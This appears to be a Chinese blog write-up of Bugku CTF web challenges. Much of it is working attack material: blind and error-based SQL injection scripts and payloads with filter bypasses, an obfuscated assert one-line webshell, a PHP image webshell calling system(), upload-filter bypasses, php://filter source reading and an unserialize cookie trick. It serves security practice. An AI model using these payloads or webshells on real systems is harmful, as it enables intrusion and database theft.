bugku——web 做题记录

Table of Contents

2,秋名山车神:

3,速度要快

 

4 welcome to the bugkuctf

1,login1(sql约束攻击)

sql约束攻击:

2,过狗一句话

3,细心

4,求getshell

5,INSERT INFO (sql注入   之   X - F -F 头注入)

6,这是一个神奇的登陆框

7 多数(sql 注入)

8,PHP_encrypt_1(ISCCCTF)(代码审计)

9, 文件上传2

10,flag.php(反序列化)

11,sql 注入 2()

12, Trim的日记本

13,login3(过滤了 空格、=、union、逗号、and、where等字符的 布尔型盲注)


2,秋名山车神:

 

import requests
import re         #这个库一般用来匹配文字

url = 'http://123.206.87.240:8002/qiumingshan/' #url
r = requests.session()  #requests.sesssion()对象可以跨请求的保存某些参数
g = r.get(url)  #产生一个请求资源的对象,get方法
ans = re.findall('<div>(.*?)=?;</div>',g.text)
#使用re库中的findall方法,匹配正则。第一个参数是要匹配的正则表达式,
# 第二个参数是将我们请求到的资源变成字符串的形式,再以列表的形式返回到变量ans中
ans = "".join(ans) #将ans从列表的形式转化为字符串的形式
ans = ans[:-2] #去掉ans最后的两个字符,这里即去掉=?
post = eval(ans) #执行我们处理完的字符串,即那个变态的表达式
data = {'value':post} #构造data的post部分
flag = r.post(url,data=data) #生成post请求,post的值是算出来的结果
print(flag.text) #打印返回的数据即flag值



3,速度要快

import requests
import base64
url='http://123.206.87.240:8002/web6/'
r = requests.session()
headers = r.get(url).headers  #这三句是为了让我们能跟网站关联起来,可以向网站拿数据和发送数据

mid = base64.b64decode(headers['flag'])
mid = mid.decode()
print(mid)
#burp suite 回显的包的headers中发现了flag:...... base64解码

flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值 并再次解码
print(flag)

data={'margin':flag} 
print(r.post(url,data).text)  #发送margin 并输出回显信息

 

4 welcome to the bugkuctf

1.通过php://input对变量输入内容,让file_get_contents能够读取变量的内容

2.通过php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代码

3.通过反序列化,对echo的魔术方法__tostring()里面的参数进行赋值
 

首先点入链接,查看源代码:

发现这里是 txt 给user赋值,读取user的文件,且文件内容是“welcome to the bugkuctf”时,就会包含一个文件,我们可以利用这个文件包含的漏洞,去读取我们想要的文件,

利用file=php://filter/read=convert.base64-encode/resource=xxx.php (这里必须要先编码,不然读到的代码会被网页执行)

当然我们的第一反应肯定是去读flag.php:发现不行

然后尝试去读其他文件,比如hint.php 和 index.php

经过base64解码后得到:

#hint.php
<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?> 
#index.php
<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

读index.php 发现file变量的内容中不允许有flag,否则直接输出并退出;

发现index.php中还有反序列化的内容,并且输出了字符串(输出字符串时会自动调用_toString()魔术方法)

于是想到构造序列化的字符串,使在调用魔术方法时能读取并输出 flag.php 文件

 

并通过bp 去获取flag://flag{php_is_the_best_language}  1

1,login1(sql约束攻击)

sql约束攻击:

1、sql处理字符串时,一般是在比较字符串时,会自动删去末尾多余的空格,这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。这一点,对于where和insert语句是成立的,对于like语句无效。
也就是说,"admin"和"admin             "是等效的。因此,用where id="admin"查询和用where id="admin          "查询的结果相同。
2、SQL中varchar(n)用于限制最大长度,若字符串长度大于n,则只截取前n个字符。如果用varchar(5)限制了insert查询的最大长度,则插入
"admin"和"admin             “,最终都会得到"admin”,因此查询"admin "得到的结果是"admin"的信息。

3,可以自己测试一下,注册"admin    "(admin和4个空格)varchar(15),因为"admin" 与"admin    "的长度不同,会成功存入数据库中,打开PHPadmin    查看一下,的确有 "admin    "这个新注册的用户,然后修改用户 "admin     "的密码为 123123,会发现是原来的"admin"用户的密码被修改为 123123

因此,
可以利用这个漏洞来绕过,方法:若注册时已知admin这个用户名存在,则我们可以注册admin(空格空格空格…)这个用户名,密码自定,然后登录时用刚刚注册的用户名和密码即可得到真实的想要的admin信息或权限。


2,过狗一句话

1,根据提示:
 

<?php 
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s'])
 ?>

explode()是将字符串分割为数组

化简后就是:

assert($_GET['s'])

//assert()会将执行内部的字符串 ,有漏洞

在地址栏中构造payload:

http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

去浏览目录:

得到的信息:

Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
打开 得到flag:

http://123.206.87.240:8010/flag_sm1skla1.txt

flag: BUGKU{bugku_web_009801_a}

3,细心

打开:提示让用admin

先用御剑扫描一下后台窗口:
发现有有一个 robotx.txt协议

打开协议:

进入 resusl.php

接着传参 ?x=admin

得到:flag(ctf_0098_lkji-s)

4,求getshell

上传题:
一共三个过滤

请求头部的 Content-Type
文件后缀
请求数据的Content-Type
这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)
最终发现,php5可以绕过

接下来,请求数据的Content-Type字段改为 image/jpeg

但是一开始没注意到,上面还有一个请求头Content-Type字段,大小写绕过: MuLtipart/form-data;

KEY{bb35dc123820e}

5,INSERT INFO (sql注入   之   X - F -F 头注入)

提上给的代码:

<?php
error_reporting(0);
function getIp(){
    $ip = '';
    if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else{
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    $ip_arr = explode(',', $ip);
    return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>

大致意思就是将获取的 XFF头的ip 地址 插入了数据控中 这里存在了一个注入点, 因为没有对 XFF头的信息进行过滤

用burp-suit进行手工注入是不可能的,这辈子都不会用 手工进行 延时注入的

直接上py脚本

首先获取数据库名 + 表名

import requests

char= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_@.%&-'
url = 'http://123.206.87.240:8002/web15/'

payload_db_len = "1'+(select case when (length(database())='{0}') then sleep(6) else 1 end)+'1"
#猜解数据库名称的payload
payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1"
#猜解表数量的payload
payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1"
#猜解表名字长度的payload
payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(6) else 1 end)+'1"
#猜解表名字的payload
payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(6) else 1 end)+'1"


db_length = 0
def get_db_length():#数据库名长度
    global db_length
    for n in range(1,40):
        try:
            headers = {'x-forwarded-for': payload_db_len.format(n)}
            res = requests.get(url, headers=headers, timeout=5)
        except requests.exceptions.ReadTimeout:
            db_length = n
            break
    print("db_length:"+ str(db_length))

db_name = ''
def get_db_name():  # 数据库名破解
    global db_name
    for i in range(1, db_length +1):
        for j in char:
            try:
                headers = {'x-forwarded-for': payload_db.format(i,j)}
                res = requests.get(url, headers=headers, timeout=5)
            except requests.exceptions.ReadTimeout:
                # print(payload_db.format(i,j))
                db_name += j
                break
    print('db_name: ' + db_name)


table_num = 0
def get_data_num():#获取表的数量
    global table_num
    for i in range(1, 50):
        try:
            headers = {'x-forwarded-for': payload_tb_num.format(db_name, str(i))}
            res = requests.get(url, headers=headers, timeout=5)
        except requests.exceptions.ReadTimeout:
            table_num = i
            print('table_num: ' + str(i))
            break


def get_table_name():
    len = 0
    for i in range(table_num):
        for j in range(50):
            try:
                headers = {'x-forwarded-for': payload_tb_name_len.format(db_name, i, j)}
                res = requests.get(url, headers=headers, timeout=5)
            except requests.exceptions.ReadTimeout:
                len = j
                break
        print("No." + str(i + 1) + " table's length is: " + str(len))
        table_name = ''
        for k in range(1, len + 1):
            for j in char:
                try:
                    headers = {'x-forwarded-for': payload_tb_name.format(db_name, i, k, j)}
                    res = requests.get(url, headers=headers, timeout=5)
                except requests.exceptions.ReadTimeout:
                    # print(payload_tb_name.format(db_name,i,k,j))
                    table_name += j
                    break
        print(table_name)

get_db_length()
get_db_name()
get_data_num()
get_table_name()

字段名:

import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_-+=@%^&.'
url = 'http://123.206.87.240:8002/web15/'

target_db = 'web15'
target_tb = 'flag'

payload_col_num = "1'+(select case when (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(6) else 1 end)+'1"
payload_col_len = "1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(6) else 1 end)+'1"
payload_col_name = "1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(6) else 1 end)+'1"

col_num = 0
def get_col_num():
    global col_num
    for i in range(50):
        try:
            headers = {'x-forwarded-for': payload_col_num.format(target_db, target_tb, i)}
            res = requests.get(url, headers=headers, timeout=5)
        except requests.exceptions.ReadTimeout:
            col_num = i
            break
    print('col_num = ' + str(col_num))


def get_col_name():
    len = 0
    for i in range(col_num):
        for j in range(50):
            try:
                headers = {'x-forwarded-for': payload_col_len.format(target_db, target_tb, i, j)}
                res = requests.get(url, headers=headers, timeout=5)
            except requests.exceptions.ReadTimeout:
                len = j
                print("No." + str(i + 1) + "column's length : " + str(len))
                break
        col_name = ''
        for k in range(1, len + 1):
            for j in dic:
                try:
                    headers = {'x-forwarded-for': payload_col_name.format(target_db, target_tb, i, k, j)}
                    res = requests.get(url, headers=headers, timeout=5)
                except requests.exceptions.ReadTimeout:
                    col_name += j
                    print(col_name)
                    break


get_col_num()
get_col_name()

脱库:

import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'
url = "http://123.206.87.240:8002/web15/"

paylaod_content = "1'+(select case when (substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1"
flag = ''
def get_flag():
    global flag
    for i in range(1, 100):
        for j in dic:
            try:
                headers = {'x-forwarded-for': paylaod_content.format(i, j)}
                res = requests.get(url, headers=headers, timeout=5)
            except requests.exceptions.ReadTimeout:
                #print(paylaod_content.format(i, j))
                flag += j
                break
        print("....: "+flag)

get_flag()
print(flag)

6,这是一个神奇的登陆框

打开是一个登录框 ,一看就知道是在考察  sql 注入 的相关知识  ok

第一步 : 找 username 的 闭合方式,输入 1"  发现竟然可以报错  ,那这就简单了好多啊

确定是  双引号 的闭合

第二步爆信息

爆库名:

1" and 1=extractvalue(1,concat(0x7e,(database()))) #

爆出: 数据库名:bugkusql1

爆表名:

1" and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #

爆字段:

1" and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'flag1'))) #

脱库:
 

1" and 1=extractvalue(1,concat(0x7e,(select group_concat(flag1)from flag1 ))) #

这里提交flag后发现是错误的 !!!!!看一下 是31位 的字符串  似乎是少了一位

傲傲  我知道了报错注入  的 extractvalue() 函数  和 updatexml() 函数的回显位 最多为 32 位

那换 用 联合查询 :

换用联合查询需要先 确定 回显位 

先用 1" order by 3 #   发现  错误

再用  1" order by 2 #  正常

用 1"  union select  3,4 #   发现回显的是   3    ok那就在  3 的位置进行注入

直接跳到脱库吧:

 

-1" union select group_concat(flag1),2 from flag1 #

得到flag:

flag{ed6b28e684817d9efcaf802979e57aea}

 

看来还是要少用报错注入啊

 

7 多数(sql 注入)

提示有两个  flag (这点很重要)而且都是小写

打开链接 发现是一个 典型的 GET 型 sql注入 题

第一步:先测 闭合方式  :

当注入  单引号时   会出现  Error!Error!Error!

 加  注释符 --+  后  回显正常

可知道 闭合方式 是 单引号  而且 不会报错,这里不能用报错注入

第二步: 测有几个回显字段

?id=1'order by 2 --+

发现无论怎么改变 后面的数字  都 是   Error! Error! Error!

考虑可能是 把关键字过滤了  猜测可能 把  or   and  union select 等关键字过滤了

注入:

?id=1' oorrder by 2 --+  //正常

?id=1' oorrder by 3 --+  //Error!

证实了我的想法  or  被过滤 了    这里使用  双写的方法绕过 过滤

后面  其他被过滤的 关键字我就不一一说明 证明方法了

?id=-1' uniounionn selecselectt 1,3--+  // 回显的  是  3

得出有两个回显字段  并且 回显位为第二个 位置

第三步: 报信息

// 爆库名

?id=-1' uniounionn selecselectt 1,database()--+

得到库名 :web1002-1


// 爆表

?id=-1' uniounionn selecselectt 1,group_concat(table_name)from infoorrmation_schema.tables where table_schema = database()--+

得到表名:flag1,hint


//爆字段

?id=-1' uniounionn selecselectt 1,group_concat(column_name)from infoorrmation_schema.columns where table_name= 'flag1'--+

得到字段:flag1,address

//脱库

?id=-1' uniounionn selecselectt 1,group_concat(flag1)from flag1 --+


得到信息: usOwycTju+FTUUzXosjr

转化成全小写后 得到 flag{usowyctju+ftuuzxosjr}   提交发现 不对 

尝试 爆第二个字段:

?id=-1' uniounionn selecselectt 1,group_concat(address)from flag1 --+

得到:

进去发现 有又一道 sql 注入题

第一步: 确定闭合方式  

注入  单引号时  有报错信息 显示  双引号时 正常   说明 是  单引号 闭合   

有报错信息 那就可以用   报错注入了

第二步 : 爆信息 (用报错注入的话就 不用在确定回显位等等那么麻烦了 , 直接爆信息就行)

// 爆库名

?id=1' and 1= extractvalue(1,concat(0x7e,(database()))) --+

库名:web1002-2


// 爆表

?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(table_name)from information_schema.tables where table_schema = database()))) --+

得到表名:class,flag2


// 爆字段
?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(column_name)from information_schema.columns where table_name='flag2'))) --+

得到字段:flag2,address


// 脱库
?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(flag2)from flag2))) --+

得到:flag{Bugku-sql_6s-2i-4t-bug}



 

将得到的flag 转换成 小写得到  flag{bugku-sql_6s-2i-4t-bug}

注入结束!(这题好像 把 union 关键字过滤了)

补充一点 : 这题不能用 盲注 进行操作,因为他把 sleep   和 substr  和 union 关键字被过滤了

总结 : 判断某关键字是否被过滤的方法:

用 异或符 ^ 进行判断

比如: 

?id=1'^(length('union')>0)--+  // 回显正常 说明  union 被过滤了 


?id=1'^(length('xss')>0)--+  //  回显错误  说明 xss 没有被过滤

8,PHP_encrypt_1(ISCCCTF)(代码审计)

首先发现一段密文: base64解密一下 没解出东西

fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

打开文件是个php 的加密函数:

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}

?>

看来给出的密文应该是 经过这个 函数加密后得到的  

那 就需要 写一个 解密函数  把密文解密 应该就可以得到flag  了

直接去找了两个 代码:

Python 脚本:

import base64
import hashlib


def decrypt(b64):
    b64 = str(base64.b64decode(b64), encoding='utf8')  # base64转换后是byte类型数据
    key = 'ISCC'
    m = hashlib.md5()
    m.update(key.encode())
    md = m.hexdigest()
    b64_len = len(b64)
    x = 0
    char = ''
    for i in range(b64_len):  # strlen($str)==strlen($char)==strlen($data)
        if x == len(md):
            x = 0
        char += md[x]
        x += 1
    data = ''
    for i in range(b64_len):  # 也可不进行正负判断:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)
        d = ord(b64[i]) - ord(char[i])
        if d > 0:  # 进行判断,如果相减小于0,说明需要加上128
            data += chr(d)
        else:
            data += chr(d + 128)
    print(data)


if __name__ == "__main__":
    b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
    decrypt(b64)

 

php脚本:

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    $x = 0;
    $char = "";
    for($i=0;$i < $md_len;$i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

 

跑出来的 flag:

Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

 

9, 文件上传2

 

查看源代码  一段JavaScript的event:大致意思按 b 就会重新定向到新的页面 然后试了一下 发现是假的

发现注释有给提示 :

访问一下 upload.php

http://123.206.31.85:49166/index.php?file=upload.php

出现一个上传页面:

那就利用这个上传,构造一个 图片马  来获取系统文件 的目录 从而得到 flag所在文件的文件名

构造一个图片马 :

构造payload:

<script language=php>system("1")</script>

找一个小一点的图片 用 winhex 打开  把payload 插入到 最后 然后保存     上传

上传 后:

然后访问 这个文件(如果payload还在 图片中的话 这段代码会被浏览器解析 执行  从而显示系统目录)、

http://123.206.31.85:49166/index.php?file=upload/20190818454656.jpg

发现图片被重新渲染了  插入的代码不见了

那我们就把代码插入到不会重新渲染的部分:(一般在文件头偏后一点的位置)

然后重新上传 访问 后 正常解析:

得到了系统目录 

然后访问 flag 文件

http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt

然后得到 flag:

 

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

 

10,flag.php(反序列化)

打开题目入口时有提示:

进入是一个登陆表单 ,我还以为是一个 sql注入题呢,然后输入 admin admin 后点 login 不管用  

打开 源代码 没发现什么异常  就是 没有跳转的页面而已

这时候想到提示  的  hint  既然post 不行 就试一试  get

在 url 中 注入:

?hint=1

出现了 后台的源代码:

大致意思是说:

第一句话的意思 是  得到  用户名 为 ISecer 的cookie

如果 通过 get 传入了 参数 hint 的话  就输出 后台 的源代码

否则 如果 cookie 的反序列化的 值  等于  $KEY  的话 就输出 flag 

 

看到 最后一句话的时候 我没加思索的 就认为 $KEY 的值  就是 'ISecer:www.isecer.com'

后来提交后没出来 flag 时 ,回过头来仔细看 才发现 这里 $KEY 是 最后赋值的 跟前面一毛钱关系也没有

也就是说  前面的  $KEY = NULL

既然要提交Cookie 那我们就 用  burp suite 提交构造的 Cookie呗

构造Cookie :

这里需要考虑到反序列化的问题 ,所以构造 :

Cookie: ISecer=s:0:""%3B

// %3B 是 ; 的意思

得到flag:
 

flag{unserialize_by_virink}

 

11,sql 注入 2()

方法一:正常的注入手段解决

入口处提示 过滤了 部分字符:

到底过滤了哪些字符呢?  搞了个 关键字符 的字典 在 burp-suite 中 搞一下:

不过 发现异或符号 ^ 和 -  没有被过滤!!!这点 非常重要

尝试注入:uname=admin'^'       回显password error

尝试注入:uname=admin'^1^'     回显 username error

这里 就可以的得出一个结论  : 如果中间 的 部分是正确的  即为 1  的话  就会回显 username error 

利用这一点我们就可以 使用脚本进行注入了:

由于 逗号  和 空格 都被过滤了  所以 substr()函数就不能用了 

需要找一个替代方案:mid()

mid()函数的特性:

mid("password"from(-1))   返回  d

mid("password"from(-3))    返回 ord


我们再利用一个 reverse() 函数 将字符串翻转  

然后再利用 mid()  函数 截取最后一个 字符   就能 实现  substr(string,start,1)的功能了

mid("12345"from(-3))   //  345

reverse(mid("12345"from(-3)))  //543

mid(reverse(mid("12345"from(-3)))from(-1))  // 3

 

然后我们 就可以写脚本注入了: 此时我们可以选择

1,  按照常规的注入 方式   从数据库名 一步一步得到 flag (太麻烦了也)

2.,选择 注入  存储 用户信息的表   去 得到  username 和password    登录后就会拿到 flag

(第二种比较简单 ,因为我们已经知道一个用户名  admin 了 ,只需要去 得到password 就可以了)

 

 上脚本:

# -*-coding:utf-8-*-
# author : wen
# flag:wen{b7bb30b3435f2e7c418b131f9e789f81}

import requests

url = 'http://123.206.87.240:8007/web2/login.php'
char = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'

flag = ''

for i in range(1, 40):
    for p in range(32, 126):
        # url = base_url + u"1' and substr((select flag from flag),%d,1)='%s' --+" %(i,p)
        payload = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" % (i, p)
        data = {
            'uname': payload,
            'passwd': '123456'
        }
        html = requests.post(url, data=data).text
        if 'username' in html:
            print(i)
            flag += chr(p)
            print(flag)
print("=================================>")

print("\n" + flag)

看完这个脚本是不是和我一样有很多 疑问?

1, 这里的  字段 passwd  是哪里来的?    看网页源码 看到表单中  用的 passwd ,就猜测数据库中 也用的 passwd 

(或者你就直接在脚本里试  password  、passwd、pwd)

2,为什么没有 用常规的  select 语句去 查询 passwd  ? 因为这用 用的是异或 语句 

异或语句 的 返回值 只能是 1  或 0     异或语句前面再加一个 where 时 情况就变得不太一样,具体请看下面的例子:
 

正常的查询语句:select * from xxx where username=‘xxxx’;

再试一下:select *from users where username=0    

这里几乎输出了 所有的信息  (username = 123Mikasa 的没有输出) 因为这里就行查询 对比 时  字符串会被强制转换为  和 0 一样的 类型  ,而 123Mikasa  转换为int 时  为  123 ,所以没有输出

 

而我们用 的 异或语句   返回值  就是布尔型的     在 后台程序进行查询比对信息时就构成了:

select *from users where uname=0,passed=123,所以 uname 为 纯 字符的都会被查询  

 

得到 一个 32位的字符串 32位那肯定是 md5 了 解密 得到 :admin123

uname :  admin

passwd: admin123

登录后:看到这个界面  随便输了字符 就得到flag:

flag{sql_iNJEct_comMon3600!}

 

 

方法 二:用 DS_Store 源码泄露 

用 御剑 跑了一下 没有 发现什么

只好用 Python 脚本来跑:(这个脚本其实和御剑后台扫描差不多)

DS_Store下载地址:https://github.com/lijiejie/ds_store_exp 

(我的电脑同时装了 Python 2  和  Python 3  ,并都配置了相关的路径  ,所以 我在跑代码是 前面 必须加 python2  或者 python3 ,)

进入:http://123.206.87.240:8007/web2/flag 后会自动下载一个 flag 文件   用记事本打开 就能看到flag

 

12, Trim的日记本

打开 login 界面 和 register 界面  都显示   mysql connect error  查看源码也没发现什么 异常

只好先打开御剑 扫描一下 了

结构扫面出来一个  show.php  打开;

这个flag  咱也不知道 是真是假 这 200 分的题这么容易就给了flag??

不管了 提交一下试一试  直接复制提交     过了 。。。。。。what  ? 果然大佬  都是怪兽 !!!!

flag1:{0/m9o9PDtcSyu7Tt}     直接提交

 

13,login3(过滤了 空格、=、union、逗号、and、where等字符的 布尔型盲注)

首先 试一下  admin 和 admin  提示 password error!(这里知道用户名 admin是存在的)

这里知道了用户名 admin,那用万能密码试一下呗

输入密码: admin' or 1 =1  #   提示password error !应该是有 过滤吧

用 自己写的 sql 关键字 字典 在burp-suite 中 跑一下 看看到底有哪些 字符被过滤了:

对username 字段:(返回值为 1016 的 在response 中 提示 非法字符 ,说明 1016 的字符试被过滤的 ,1023的没有过滤)

可以看到   = ,逗号,union ,and 、where 都被过滤了 

对password字段:(username 设置的是 admin  ,注入password,返回值全是 1014,response中全是 passWord error!根本看不出开有哪些字符被过滤了)

咱们的思路肯定不能是 去 一步一步的爆 库 了,太麻烦了

既然知道了用户名  那直接组爆  password 不就行了 

还好没有 过滤  异或 符  ^    那我们就用 异或 注入

当 在 username 中  输入  admin'^' 时   会提示   password error!

                               输入  admin'^1^'时  会提示  username does not exist!

                               输入   admin'^0^'时 会提示  password error!

那我们就可以去 把 admin'^0^'   中  0 位置的 替换成我们的布尔判断语句 

如果 判断语句是正确的即为1  那就会提示 username does not exist!

否则就会提示 : password error ! 

根据这个 去写一个  布尔的盲注脚本:(在用 substr()函数的时候特别注入 逗号 被过滤的  只能 用 from的形式

import requests

url = "http://123.206.31.85:49167/index.php"
char  = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ''
for i in range(1,45):
    stop = 0
    for c in char:#两个payload的表达方式不同 都是可以用的 ,任选其一
        #payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(c))
        payload = "admin'^(ascii(substr((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(c))
        data = {
            'username': payload,
            'password': '123'
        }
        html = requests.post(url, data=data)
        if 'error' in html.text:
            result +=c
            stop =1
            print(i)
            print("......" + result)
            break #匹配到值后内循环停止
    if stop == 0: #当内循环匹配不到值的时候外循环就停止
            print("\n"+result)
            break


然后就得到 password 的  值 为一个 md5加密过的字符串 :51b7a76d51e70b419f60d3473fb6f900

解密后得到:skctf123456

输入admin  和 skctf123456 后得到flag:


 

SKCTF{b1iNd_SQL_iNJEcti0n!}

 

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值